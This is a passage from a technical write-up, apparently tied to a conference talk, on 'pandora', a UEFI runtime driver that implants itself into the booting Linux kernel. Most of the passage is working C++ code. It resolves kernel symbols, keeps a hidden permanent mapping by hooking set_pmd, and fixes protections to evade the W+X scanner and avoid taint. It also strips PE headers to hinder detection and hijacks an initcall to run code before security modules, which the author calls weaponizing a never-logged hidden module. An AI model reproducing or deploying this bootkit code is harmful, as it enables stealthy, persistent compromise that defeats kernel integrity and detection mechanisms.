token_table_size = get_kallsyms_token_table_size(token_table);
if (token_table_size == 0)
return false;
uint16_t heuristic::get_kallsyms_token_table_size(const char *token_table)
{
unsigned int strings_count = 0;
uint16_t pos = 0;
while (strings_count < 256) {
size_t len;
if (!is_valid_ascii_string(&token_table[pos], &len))
return 0;
// len 0 is invalid for token table
if (len == 0 || len >= UINT16_MAX - pos)
return 0;
pos += static_cast<uint16_t>(len + 1 /* '\0' */);
strings_count++;
}
return pos;
}
Then validate the kallsyms_token_index table. It’s a table of 256 uint16_t, first element is 0, ascending order, no element bigger than the token table size.
token_index = reinterpret_cast<uint16_t *>(
ALIGN_VALUE(reinterpret_cast<uintptr_t>(token_table) + token_table_size, alignment));
if (!is_kallsyms_token_index_valid(token_index, token_table_size))
return false;
bool heuristic::is_kallsyms_token_index_valid(uint16_t *token_index, uint16_t token_table_size)
{
if (token_index == nullptr || !pt::is_range_mapped(reinterpret_cast<uintptr_t>(token_index), 512))
return false;
if (token_index[0] != 0)
return false;
for (int i = 1; i < 256; i++) {
if (token_index[i] <= token_index[i - 1] || token_index[i] >= token_table_size)
return false;
}
return true;
}
Now check whether kallsyms_offsets is post or prior to kallsyms_token_index (or neither, if this isn’t kallsyms at all):
found_ksms.num_syms = num_syms;
found_ksms.names = names;
found_ksms.markers = markers;
found_ksms.token_table = token_table;
found_ksms.token_index = token_index;
found_ksms.traits = is_uleb ? TRAIT_NAME_LEN_ULEB128 : TRAIT_NAME_LEN_U8;
inferred_traits = 0;
if (heuristic::kallsyms_are_offsets_post_token_index(&found_ksms, &inferred_traits, alignment)) {
found_ksms.traits |= inferred_traits | TRAIT_OFFSETS_POST_TOKEN_INDEX;
*ksms = found_ksms;
return true;
}
inferred_traits = 0;
if (heuristic::kallsyms_are_offsets_before_num_syms(&found_ksms, num_syms_addr)) {
found_ksms.traits |= inferred_traits | TRAIT_OFFSETS_PRECEDES_NUM_SYMS;
*ksms = found_ksms;
return true;
}
return false;
}
A valid kallsyms_relative_base falls within start kernel map range (as far as I’m concerned, its value is the same as the lowest vmlinux symbol address (always stext?)). For each one of kallsyms_are_offsets_post_token_index and kallsyms_are_offsets_before_token_index kallsyms_offsets has to be verified with base relative trait, base relative with PERCPU, or self displaced. Self displaced addresses don’t need kallsyms_relative_base, so this is almost certainly absent. If present, kallsyms_relative_base is right after kallsyms_offsets. Regarding TRAIT_ADDR_BASE_DISPLACED accompanying TRAIT_ADDR_ABSOLUTE_PERCPU, this is correct. I’m not schizo nor this is an LLM hallucination (this writeup and the code were 100% written by me). The Linux kernel is to blame for the naming, I just copied it:
unsigned long kallsyms_sym_address(int idx)
{
if (!IS_ENABLED(CONFIG_KALLSYMS_BASE_RELATIVE))
return kallsyms_addresses[idx];
/* values are unsigned offsets if --absolute-percpu is not in effect */
if (!IS_ENABLED(CONFIG_KALLSYMS_ABSOLUTE_PERCPU))
return kallsyms_relative_base + (u32)kallsyms_offsets[idx];
/* ...otherwise, positive offsets are absolute values */
if (kallsyms_offsets[idx] >= 0)
return kallsyms_offsets[idx];
/* ...and negative offsets are relative to kallsyms_relative_base - 1 */
return kallsyms_relative_base - 1 - kallsyms_offsets[idx];
}
“…otherwise, positive offsets are absolute values”. So PERCPU kallsyms addressing is base displaced when kallsyms_offsets[idx] is positive and absolute otherwise.
bool heuristic::kallsyms_are_offsets_post_token_index(kallsyms::ks *lo, uint32_t *traits,
int alignment)
{
using namespace kallsyms;
uintptr_t offsets_address;
uintptr_t offsets_end;
size_t offsets_size;
uintptr_t kallsyms_relative_base;
int32_t *offsets;
// token index has size 256 * sizeof(uint16_t) (512)
offsets_address = ALIGN_VALUE(reinterpret_cast<uintptr_t>(lo->token_index) + 512, alignment);
offsets_size = static_cast<size_t>(lo->num_syms) * sizeof(int32_t);
if (!pt::is_range_mapped(offsets_address, offsets_size))
return false;
offsets = reinterpret_cast<int32_t *>(offsets_address);
offsets_end = offsets_address + offsets_size;
// tests for TRAIT_ADDR_BASE_DISPLACED kallsyms
if (pt::is_page_present(ALIGN_VALUE(offsets_end, 8))) {
kallsyms_relative_base = *reinterpret_cast<uintptr_t *>(ALIGN_VALUE(offsets_end, 8));
if (kallsyms_relative_base >= X86_64_KERNEL_VA_MIN &&
kallsyms_relative_base <= X86_64_KERNEL_VA_MAX) {
if (heuristic::is_valid_kallsyms_offsets(offsets, lo->num_syms, TRAIT_ADDR_BASE_DISPLACED,
kallsyms_relative_base)) {
lo->offsets = offsets;
lo->kallsyms_relative_base = kallsyms_relative_base;
*traits = TRAIT_ADDR_BASE_DISPLACED;
return true;
}
if (heuristic::is_valid_kallsyms_offsets(
offsets, lo->num_syms, TRAIT_ADDR_BASE_DISPLACED | TRAIT_ADDR_ABSOLUTE_PERCPU,
kallsyms_relative_base)) {
lo->offsets = offsets;
lo->kallsyms_relative_base = kallsyms_relative_base;
*traits = TRAIT_ADDR_BASE_DISPLACED | TRAIT_ADDR_ABSOLUTE_PERCPU;
return true;
}
}
}
if (!heuristic::is_valid_kallsyms_offsets(offsets, lo->num_syms, TRAIT_ADDR_SELF_DISPLACED))
return false;
lo->offsets = offsets;
lo->kallsyms_relative_base = 0;
*traits = TRAIT_ADDR_SELF_DISPLACED;
return true;
}
kallsyms_are_offsets_before_num_syms is basically the same function but guessing offsets preceding kallsyms_num_syms:
bool heuristic::kallsyms_are_offsets_before_num_syms(kallsyms::ks *lo, uintptr_t num_syms_addr)
{
using namespace kallsyms;
uintptr_t kallsyms_relative_base;
uintptr_t offsets_address;
size_t offsets_size;
int32_t *offs;
// tests for TRAIT_ADDR_BASE_DISPLACED kallsyms
if (pt::is_page_present(num_syms_addr - 8)) {
kallsyms_relative_base = *reinterpret_cast<uint64_t *>(num_syms_addr - 8);
if (kallsyms_relative_base >= X86_64_KERNEL_VA_MIN &&
kallsyms_relative_base <= X86_64_KERNEL_VA_MAX) {
offsets_size = static_cast<size_t>(lo->num_syms) * sizeof(int32_t);
// has to be 8 byte aligned as per the architecture
offsets_address = num_syms_addr - 8 - offsets_size - (!IS_ALIGNED(offsets_size, 8) ? 4 : 0);
offs = reinterpret_cast<int32_t *>(offsets_address);
if (pt::is_range_mapped(offsets_address, offsets_size)) {
// if CONFIG_KALLSYMS_ABSOLUTE_PERCPU is not set, offsets are unsigned integers
if (heuristic::is_valid_kallsyms_offsets(offs, lo->num_syms, TRAIT_ADDR_BASE_DISPLACED)) {
lo->offsets = offs;
lo->kallsyms_relative_base = kallsyms_relative_base;
lo->traits |= TRAIT_ADDR_BASE_DISPLACED;
return true;
}
// if CONFIG_KALLSYMS_ABSOLUTE_PERCPU IS set
if (heuristic::is_valid_kallsyms_offsets(
offs, lo->num_syms, TRAIT_ADDR_BASE_DISPLACED | TRAIT_ADDR_ABSOLUTE_PERCPU,
kallsyms_relative_base)) {
lo->offsets = offs;
lo->kallsyms_relative_base = kallsyms_relative_base;
lo->traits |= TRAIT_ADDR_BASE_DISPLACED | TRAIT_ADDR_ABSOLUTE_PERCPU;
return true;
}
}
}
}
// test for TRAIT_ADDR_ABSOLUTE
offsets_size = static_cast<size_t>(lo->num_syms) * sizeof(uint64_t);
offsets_address = num_syms_addr - offsets_size;
if (!IS_ALIGNED(offsets_address, 8))
return false;
offs = reinterpret_cast<int32_t *>(offsets_address);
if (!pt::is_range_mapped(offsets_address, offsets_size))
return false;
// is_valid_kallsyms_offsets casts offs to <uintptr_t *> when TRAIT_ADDR_ABSOLUTE
if (!heuristic::is_valid_kallsyms_offsets(offs, lo->num_syms, TRAIT_ADDR_ABSOLUTE))
return false;
lo->addresses = reinterpret_cast<uintptr_t *>(offs);
lo->kallsyms_relative_base = 0;
lo->traits |= TRAIT_ADDR_ABSOLUTE;
return true;
}
To parse it, iterate and match. With traits, we have the correct members dispositions. It’s a manual reimplementation of kallsyms_lookup_name but solely for vmlinux symbols.
kallsyms::kallsyms_err_t kallsyms::find_by_name(const char *name, uintptr_t *address,
uint32_t query_mode, char wanted_type,
char *found_type)
{
kallsyms_err_t ret;
bool found = false;
ret = KALLSYMS_ERROR;
for_each([&](const char *current_name, uintptr_t addr, char type) -> bool {
uintptr_t val;
if (query_mode & KALLSYMS_QUERY_FOR_TYPE && type != wanted_type)
return false;
if (query_mode & KALLSYMS_QUERY_FOR_GLOBAL && !(type >= 'A' && type <= 'Z'))
return false;
if (query_mode & KALLSYMS_QUERY_FOR_LOCAL && !(type >= 'a' && type <= 'z'))
return false;
if (query_mode & KALLSYMS_QUERY_FOR_CODE && type != 'T' && type != 't' && type != 'W' &&
type != 'w')
return false;
if (query_mode & KALLSYMS_QUERY_FOR_DATA && type != 'D' && type != 'd' && type != 'B' &&
type != 'b' && type != 'R' && type != 'r')
return false;
if (query_mode & KALLSYMS_QUERY_FOR_WEAK && type != 'W' && type != 'w')
return false;
if (query_mode & KALLSYMS_QUERY_FOR_RODATA && type != 'R' && type != 'r')
return false;
if (AsciiStrCmp(current_name, name) != 0)
return false;
val = addr;
if (query_mode & KALLSYMS_QUERY_DEREF_IF_PTR) {
if (!pt::is_page_present(val))
ret = KALLSYMS_SECONDARY_SUCCESS;
else if (type == 'D' || type == 'd' || type == 'B' || type == 'b') {
val = *reinterpret_cast<uintptr_t *>(addr);
ret = KALLSYMS_SUCCESS;
}
}
else
ret = KALLSYMS_SUCCESS;
if (found_type != nullptr)
*found_type = type;
*address = val;
found = true;
return true;
});
return ret;
}
To expand a kallsyms name, concatenate every substring in the token table pointed by the token indexes of the current symbol. It’s a compaction mechanism of the kallsyms, some substrings such as “_sys” are sufficiently common so a uint16_t can represent it, saving space.
unsigned int kallsyms::get_name(char *buf, size_t buf_size, unsigned int names_offset, char *type)
{
uint8_t *entry;
uint32_t tokens;
int buf_pos;
if (!buf || !buf_size)
return 0;
entry = ksms.names + names_offset;
tokens = get_length(entry);
buf_pos = 0;
for (uint32_t i = 0; i < tokens; i++) {
const char *token = ksms.token_table + ksms.token_index[entry[i]];
for (int k = 0; token[k]; k++) {
// first byte is the type
if (k == 0 && i == 0) {
if (type != nullptr)
*type = token[k];
continue;
}
if (buf_pos < buf_size - 1)
buf[buf_pos] = token[k];
buf_pos++;
}
}
if (buf_pos < buf_size)
buf[buf_pos] = '\0';
else
buf[buf_size - 1] = '\0';
return buf_pos;
}
As previously described, name length is either an U8 or ULEB128. The trait system tells us which is it.
uint32_t kallsyms::get_length(uint8_t *&c)
{
uint32_t len;
if (ksms.traits & TRAIT_NAME_LEN_U8) {
len = static_cast<uint32_t>(c[0]);
c++;
return len;
}
len = static_cast<uint32_t>(c[0] & 0b01111111);
// ULEB128 signals a following byte if MSB is set. Linux kernel limits
// size to 0x3FFF, 2 bytes and unlikely to ever need increasing
// https://elixir.bootlin.com/linux/v6.9.7/source/scripts/kallsyms.c#L432
if (c[0] & 0b10000000) {
len |= static_cast<uint32_t>(c[1]) << 7;
c++;
}
c++;
return len;
}
My version-agnostic equivalent of kallsyms_sym_address does the resolution based on the inferred traits:
uintptr_t kallsyms::get_address(unsigned int idx)
{
if (ksms.traits & TRAIT_ADDR_SELF_DISPLACED)
return reinterpret_cast<uintptr_t>(&ksms.offsets[idx]) + ksms.offsets[idx];
if (ksms.traits & TRAIT_ADDR_BASE_DISPLACED) {
if (ksms.traits & TRAIT_ADDR_ABSOLUTE_PERCPU) {
// https://elixir.bootlin.com/linux/v6.9.7/source/kernel/kallsyms.c#L159
// https://elixir.bootlin.com/linux/v6.9.7/source/kernel/kallsyms.c#L163
if (ksms.offsets[idx] >= 0)
return static_cast<uintptr_t>(ksms.offsets[idx]);
return ksms.kallsyms_relative_base - 1 - ksms.offsets[idx];
}
// https://elixir.bootlin.com/linux/v6.9.7/source/kernel/kallsyms.c#L156
return ksms.kallsyms_relative_base + static_cast<uint32_t>(ksms.offsets[idx]);
}
return ksms.addresses[idx];
}
And to find and setup kallsyms from startup_64 hook:
if (!kallsyms::find_layout(vmlinux::base)) {
dbg::serial_print("Failed to locate kallsyms\r\n");
STARTUP_64_HOOK_RETURN_STUB;
__builtin_unreachable();
}
With that, nearly anything can be done from a very early phase. We’ll need to resolve addresses of functions that sits in our way of having a permament non-EfiRuntimeServicesCode mapping within 2GiB of vmlinux so we are able to hook initcalls, which are usually signed 32-bit displacements.
BRK pool and permanent mapping
The Linux BRK pool is a region for early page table allocations, respected and tracked before SetVirtualAddressMap. Since its tracked and owned by the kernel, functions that do page walking (such as the ptdump family) won’t fault when walking our mapping at pgd 511. Using the reserved EFI frame pool wouldn’t work unless we did memblock_reserve on this pool. However, since we do all this from very early before kernel full initialization in a startup_64 hook, memblock_reserve faults for several reasons. Therefore, BRK pool is the ideal choice here. With kallsyms, finding and accessing it is trivial:
if (kallsyms::find_by_name("_brk_end", reinterpret_cast<uintptr_t *>(&brk.brk_end)) !=
kallsyms::KALLSYMS_SUCCESS) {
dbg::serial_print("Could not find _brk_end\r\n");
return false;
}
if (kallsyms::find_by_name("__brk_limit", &brk.brk_limit) != kallsyms::KALLSYMS_SUCCESS) {
dbg::serial_print("Could not find __brk_limit\r\n");
return false;
}
_brk_end returns the address of the variable containing the current pointer of used brk pool end, __brk_limit returns the brk limit. *_brk_end += EFI_PAGE_SIZE for each frame allocated up to __brk_limit
We want to sit within 2GiB of vmlinux so we can hook the initcall table, a sweet spot after the kernel has been initialized but usermode hasn’t, Early initcalls happen before security modules are loaded. The reason we need to be less than 2GiB apart is that the initcall table is usually a list of 32-bit relative displacements to functions. We choose an unused space in START_KERNEL_map range. __init_scratch_end is yet unmapped here but we should not intersect with it. It’s typically 4MiB long and sit right after etext. Find it, if it exists in this version:
if (kallsyms::find_by_name("__init_scratch_end", &vmlinux::__init_scratch_end) !=
kallsyms::KALLSYMS_SUCCESS) {
// __init_scratch region is usually at heuristic::forward_find_map_end(_stext)
// in this context, and the scratch region size is typically 4 MiB. don't map
// ourselves in there. EDIT: if there is no init_scratch, this is still safe
// as we can map ourselves below if __init_scratch_end is nonsensical
vmlinux::__init_scratch_end = vmlinux::end + 0x400000;
if (vmlinux::__init_scratch_end > X86_64_KERNEL_VA_MAX)
vmlinux::__init_scratch_end = X86_64_KERNEL_VA_MAX;
}
Now find a place in high VA neighboring vmlinux:
static uintptr_t get_new_driver_va(uintptr_t init_scratch_end, uintptr_t stext)
{
size_t driver_size = ALIGN_VALUE(g::driver_len, EFI_PAGE_SIZE);
uintptr_t upper_max_base = X86_64_KERNEL_VA_MAX - driver_size;
uintptr_t upper_min_base = init_scratch_end + EFI_PAGE_SIZE;
uintptr_t lower_min_base = X86_64_KERNEL_VA_MIN;
size_t free_space;
uint64_t random_offset;
uintptr_t va;
if (!stext || !init_scratch_end)
return false;
// go below
if (upper_max_base - upper_min_base < driver_size) {
free_space = pt::unmapped_range_from(lower_min_base);
if (free_space <= driver_size) {
// cleanup_highmap would remove any entry in highmap not belonging to
// kernel overwriting memory is quite fine, if the kernel is not reclaiming
if (lower_min_base + free_space > stext)
return 0;
return lower_min_base;
}
free_space -= driver_size;
random_offset = (rand64() % free_space) & ~UINT64_C(EFI_PAGE_SIZE - 1);
va = lower_min_base + random_offset;
return va;
}
free_space = upper_max_base - upper_min_base;
random_offset = (rand64() % free_space) & ~UINT64_C(EFI_PAGE_SIZE - 1);
va = upper_min_base + random_offset;
return va;
}
g::driver_va = get_new_driver_va(vmlinux::__init_scratch_end, vmlinux::base);
dbg::serial_print("Mapping DXE Driver to %Lx in early_top_pgt\r\n", g::driver_va);
if (!pt::map_range(g::driver_va, g::driver_pa, ALIGN_VALUE(g::driver_len, PS_4K),
ENTRY_RW | ENTRY_NX, true)) {
dbg::serial_print("Failed to remap DXE Driver to start kernel range in early_top_pgt\r\n");
STARTUP_64_HOOK_RETURN_STUB;
__builtin_unreachable();
}
if (!pe::relocate(g::driver_pa, g::driver_va, g::driver_len, hooks::vmlinux::efi_pgt)) {
dbg::serial_print("Relocate failed\r\n");
STARTUP_64_HOOK_RETURN_STUB;
__builtin_unreachable();
}
Now we have a mapping at high VA. However, it is W+X and the Linux kernel scans and reports every W+X mapping at boot. If we don’t fix the protections, we get noted in dmesg and tainted. So: prepare new VA jump, fix prots and remove unecessary headers and sections, so finding us is harder:
// we're in provisory identity mapped space, calculate displacement to the
// driver base and jump to it relative to the new virtual address mapping
displacement_from_base = reinterpret_cast<uintptr_t>(permanent_mapping_setup) - g::driver_pa;
permanent_mapping_setup_addr = g::driver_va + displacement_from_base;
#if !defined(_PANDORA_DONT_FIX_MANUALLY_MAPPED_DXE_DRIVER_PROT)
// fix protections to hide from boot time page table walking and W+X mapping
// detector if we don't, we get pointed out as an odd map in dmesg and the
// kernel becomes tainted
// https://elixir.bootlin.com/linux/v7.1.8/source/arch/x86/mm/dump_pagetables.c#L339
if (!pe::fix_prot(g::driver_va, true))
dbg::serial_print(
"Failed to fix protections of manually mapped DXE Driver, kernel will be tainted\r\n");
#endif // !defined(_PANDORA_DONT_FIX_MANUALLY_MAPPED_DXE_DRIVER_PROT)
#if !defined(_PANDORA_DONT_HIDE_MANUALLY_MAPPED_DXE_DRIVER)
// delete headers and unecessary sections so detecting a manually mapped DXE
// Runtime Driver in unexpected kernel space memory is harder
if (!pe::hide(g::driver_va))
dbg::serial_print("Failed to hide PE image headers and unnecessary sections\r\n");
#endif // !defined(_PANDORA_DONT_HIDE_MANUALLY_MAPPED_DXE_DRIVER)
dbg::serial_print("Jumping to permanent_mapping_setup at %Lx\r\n", permanent_mapping_setup_addr);
//__asm__ volatile("jmp *%%rax" ::"a"(permanent_mapping_setup_addr));
//__builtin_unreachable();
// the commented way could misalign the stack, do this way instead, the compiler
// will likely optimize this to a jmp. it is effectively equivalent, but aligning
// the stack correctly
return reinterpret_cast<void (*)()>(permanent_mapping_setup_addr)();
permanent_mapping_setup runs at the new VA. However, the Linux kernel cleanups every mapping in pgd[511] that is outside stext to etext range in cleanup_highmap:
void __init cleanup_highmap(void)
{
unsigned long vaddr = __START_KERNEL_map;
unsigned long vaddr_end = __START_KERNEL_map + KERNEL_IMAGE_SIZE;
unsigned long end = roundup((unsigned long)_brk_end, PMD_SIZE) - 1;
pmd_t *pmd = level2_kernel_pgt;
/*
* Native path, max_pfn_mapped is not set yet.
* Xen has valid max_pfn_mapped set in
* arch/x86/xen/mmu.c:xen_setup_kernel_pagetable().
*/
if (max_pfn_mapped)
vaddr_end = __START_KERNEL_map + (max_pfn_mapped << PAGE_SHIFT);
for (; vaddr + PMD_SIZE - 1 < vaddr_end; pmd++, vaddr += PMD_SIZE) {
if (pmd_none(*pmd))
continue;
if (vaddr < (unsigned long) _text || vaddr > end)
set_pmd(pmd, __pmd(0));
}
}
cleanup_highmap can be found through kallsyms. However, no-op’ing it would allow garbage in highmap. Instead, we no-op only the set_pmd calls that would otherwise wipe our entries. That way, our mapping persists indefinitely.
bool hooks::vmlinux::do_hook_cleanup_highmap()
{
uintptr_t cleanup_highmap;
uintptr_t target_set_pmd;
kallsyms::kallsyms_err_t ret;
ret = kallsyms::find_by_name("cleanup_highmap", &cleanup_highmap,
kallsyms::KALLSYMS_QUERY_FOR_CODE);
if (ret != kallsyms::KALLSYMS_SUCCESS) {
dbg::serial_print("Could not find cleanup_highmap\r\n");
return false;
}
target_set_pmd = heuristic::find_set_pmd_used_by_cleanup_highmap(cleanup_highmap);
if (target_set_pmd == 0) {
dbg::serial_print("Could not find set_pmd used by cleanup_highmap\r\n");
return false;
}
dbg::serial_print("Hooking set_pmd used by cleanup_highmap at %Lx\r\n", target_set_pmd);
if (!jmp_hook(target_set_pmd, reinterpret_cast<uintptr_t>(set_pmd), &set_pmd_ctx)) {
dbg::serial_print("Failed to hook set_pmd at %Lx\r\n", cleanup_highmap);
return false;
}
return true;
}
find_set_pmd_used_by_cleanup_highmap searches for a E8 call to set_pmd and returns matched call destination:
uintptr_t heuristic::find_set_pmd_used_by_cleanup_highmap(uintptr_t cleanup_highmap)
{
uint8_t *c = reinterpret_cast<uint8_t *>(cleanup_highmap);
uintptr_t max;
if (!cleanup_highmap || !kallsyms::kallsyms_available())
return 0;
max = MIN(pt::mapped_range_from(cleanup_highmap), 256);
for (uintptr_t i = 0; i < max; i++) {
if (c[i] == 0xE8) {
uintptr_t set_pmd;
uintptr_t destination;
int32_t disp32;
disp32 = *reinterpret_cast<int32_t *>(&c[i + 1]);
destination = cleanup_highmap + i + 5 + disp32;
if (!pt::is_page_present(destination))
continue;
set_pmd = 0;
kallsyms::for_each([&](const char *name, uintptr_t addr, char type) -> bool {
if (type != 'T' && type != 't' && type != 'W' && type != 'w')
return false;
if (addr != destination || !AsciiStrStr(name, "set_pmd"))
return false;
set_pmd = addr;
return true;
});
if (set_pmd)
return set_pmd;
}
}
return 0;
}
The set_pmd hook then checks if the target pmd contains our mapping and unhooks itself when done:
void SYSV_ABI hooks::vmlinux::set_pmd(uintptr_t pmdp, uintptr_t pmdval)
{
static uintptr_t level2_kernel_pgt;
uintptr_t driver_va_min;
uintptr_t driver_va_max;
size_t driver_len;
uintptr_t original;
size_t index;
uintptr_t va;
if (!level2_kernel_pgt) {
if (kallsyms::find_by_name("level2_kernel_pgt", &level2_kernel_pgt) !=
kallsyms::KALLSYMS_SUCCESS)
return;
}
index = (pmdp - level2_kernel_pgt) / sizeof(pmdval);
va = X86_64_KERNEL_VA_MIN + index * PS_2M;
driver_len = ALIGN_VALUE(g::driver_len, PS_4K);
driver_va_min = g::driver_va & ~(PS_2M - 1);
driver_va_max = ALIGN_VALUE(g::driver_va + driver_len, PS_2M);
// no-op to preserve our mappings
if (va >= driver_va_min && va < driver_va_max) {
dbg::serial_print("No-op'd set_pmd targetting %Lx containing our driver\r\n", va);
// done, unhook
if (va + PS_2M >= driver_va_max)
jmp_unhook(&set_pmd_ctx);
return;
}
// unhook at last chance of unhooking if it didn't try to unmap us
if (va >= X86_64_KERNEL_VA_MAX - PS_2M) {
jmp_unhook(&set_pmd_ctx);
return;
}
// we are single threaded at this point, so this is safe (although ugly)
original = set_pmd_ctx.from;
jmp_unhook(&set_pmd_ctx);
reinterpret_cast<decltype(&set_pmd)>(original)(pmdp, pmdval);
jmp_hook(original, reinterpret_cast<uintptr_t>(set_pmd), &set_pmd_ctx);
return;
}
Finally, in permanent_mapping_setup, hook set_pmd through the wrapper/helper function:
extern "C" void permanent_mapping_setup()
{
if (!hooks::vmlinux::do_hook_cleanup_highmap()) {
dbg::serial_print("Failed to hook cleanup_highmap\r\n");
STARTUP_64_HOOK_RETURN_STUB;
__builtin_unreachable();
}
// more here later...
}
Now we have a permanent mapping which persists forever. Time to weaponize it. At this point, the kernel isn’t initialized properly. Initcalls are what finalize the kernel startup, and they are called before security modules (depending on which initcall you pick), and they’re before usermode processes are spawned, too. That is the next target.
initcall hook
do_hook_initcalls scans kallsyms for __initcall7_start down to __initcall0_start and hooks the first entry to point at first_initcall_hook. Initcalls can either be a disp32 or absolute address array. CONFIG_HAVE_ARCH_PREL32_RELOCATIONS makes so initcall entries are 32-bit displacements instead of absolute function pointers. If the length of an initcall section is not a multiple of sizeof(void *), it’s prel32. Additionally, if it is a table of absolute function pointers, every entry should point to valid, mapped memory:
bool hooks::vmlinux::do_hook_initcalls()
{
char initcall_name[18] = "__initcall7_start";
uintptr_t __initcall_start[8];
uintptr_t __initcall_end;
size_t len;
kallsyms::kallsyms_err_t ret;
int first_level;
uint8_t found_bitmask;
bool prel32_relocations;
ret = kallsyms::find_by_name("__initcall_end", &__initcall_end);
if (ret != kallsyms::KALLSYMS_SUCCESS) {
dbg::serial_print("Could not find __initcall_end\r\n");
return false;
}
found_bitmask = 0;
prel32_relocations = false;
for (int i = 7; i >= 0; i--) {
ret = kallsyms::find_by_name(initcall_name, &__initcall_start[i]);
if (ret != kallsyms::KALLSYMS_SUCCESS) {
// current initcall level digit is at index 10 of the string
initcall_name[10] -= 1;
continue;
}
found_bitmask |= 1 << i;
// if highest level, subtract from __initcall_end
if (i == 7 || (found_bitmask == (1 << i))) {
len = __initcall_end - __initcall_start[i];
// if its an array of absolute addresses, remainder cannot be 0
// this detects CONFIG_HAVE_ARCH_PREL32_RELOCATIONS heuristically
// https://elixir.bootlin.com/linux/v7.1.8/source/include/linux/init.h#L112
if ((len % sizeof(uintptr_t)) != 0) {
prel32_relocations = true;
}
}
else if (found_bitmask & (1 << (i + 1))) {
len = __initcall_start[i + 1] - __initcall_start[i];
if ((len % sizeof(uintptr_t)) != 0) {
prel32_relocations = true;
}
}
initcall_name[10] -= 1;
}
if (found_bitmask == 0)
return false;
// the number of trailing zeros in bitmask represents the first level found
first_level = __builtin_ctz(found_bitmask);
if (!prel32_relocations) {
size_t range_mapped;
len = __initcall_end - __initcall_start[first_level];
range_mapped = pt::mapped_range_from(__initcall_start[first_level]);
if (range_mapped < len)
len = range_mapped;
if (len < sizeof(uintptr_t))
return false;
for (size_t i = 0; i < len; i += sizeof(uintptr_t)) {
uintptr_t current = *reinterpret_cast<uintptr_t *>(__initcall_start[first_level] + i);
// an array of absolute addresses cannot have entries to invalid memory. if any fails,
// this must be a CONFIG_HAVE_ARCH_PREL32_RELOCATIONS kernel
if (!pt::is_page_present(current)) {
prel32_relocations = true;
break;
}
}
}
::vmlinux::config_have_arch_prel32_relocations = prel32_relocations;
first_initcall_table = __initcall_start[first_level];
if (prel32_relocations) {
int32_t rel32;
int32_t hook_rel32;
// https://elixir.bootlin.com/linux/v7.1.8/source/include/linux/init.h#L117
// https://elixir.bootlin.com/linux/v7.1.8/source/include/linux/compiler.h#L258
rel32 = *reinterpret_cast<int32_t *>(__initcall_start[first_level]);
original_first_initcall = __initcall_start[first_level] + rel32;
hook_rel32 = static_cast<int32_t>(reinterpret_cast<intptr_t>(first_initcall_hook) -
static_cast<intptr_t>(first_initcall_table));
*reinterpret_cast<int32_t *>(__initcall_start[first_level]) = hook_rel32;
}
else {
// https://elixir.bootlin.com/linux/v7.1.8/source/include/linux/init.h#L124
original_first_initcall = *reinterpret_cast<uintptr_t *>(__initcall_start[first_level]);
*reinterpret_cast<uintptr_t *>(__initcall_start[first_level]) =
reinterpret_cast<uintptr_t>(first_initcall_hook);
}
return true;
}
The hook itself wraps the original entry call, restores it and printks “pandora was here :)”. From here onwards, this is effectively a hidden LKM which lives outside modules virtual address space, was never logged, exists prior to security modules, doesn’t touch taint flags at all. The sky is the limit. Typically, you’d hook a function pointer for usermode->kernelmode communication, hook a syscall, etc. You’re not limited to a printk.
int SYSV_ABI hooks::vmlinux::first_initcall_hook()
{
kallsyms::find_by_name("_printk", reinterpret_cast<uintptr_t *>(&::vmlinux::printk));
if (::vmlinux::printk)
::vmlinux::printk(KERN_INFO "pandora was here :)\n");
// restore — appears nothing ever happened
*reinterpret_cast<uintptr_t *>(first_initcall_table) = original_first_initcall;
return reinterpret_cast<::vmlinux::initcall_t>(original_first_initcall)();
}
One last thing: permanent_mapping_setup should now also call do_hook_initcalls:
// thanks to @polyduekes for the initcall hooking idea
if (!hooks::vmlinux::do_hook_initcalls()) {
dbg::serial_print("Failed to hook initcalls\r\n");
STARTUP_64_HOOK_RETURN_STUB;
__builtin_unreachable();
}
STARTUP_64_HOOK_RETURN_STUB;
__builtin_unreachable();
}
The end?
If you take a deep look in the source code, you’ll discover this project is not even close to complete. In the private branch, I am already working on the windows version-agnosticism part. Ironically, you could call my “version-agnosticism” version-hypergnosticism instead. Nevertheless, I am satisfied enough with this current version, so I decided to present it at BSides CWB 2026, in Brazil. So far, it has been a great experience and I’ve made some friends along the way. More writeups will follow the development.
Source code at https://github.com/vtl0/pandora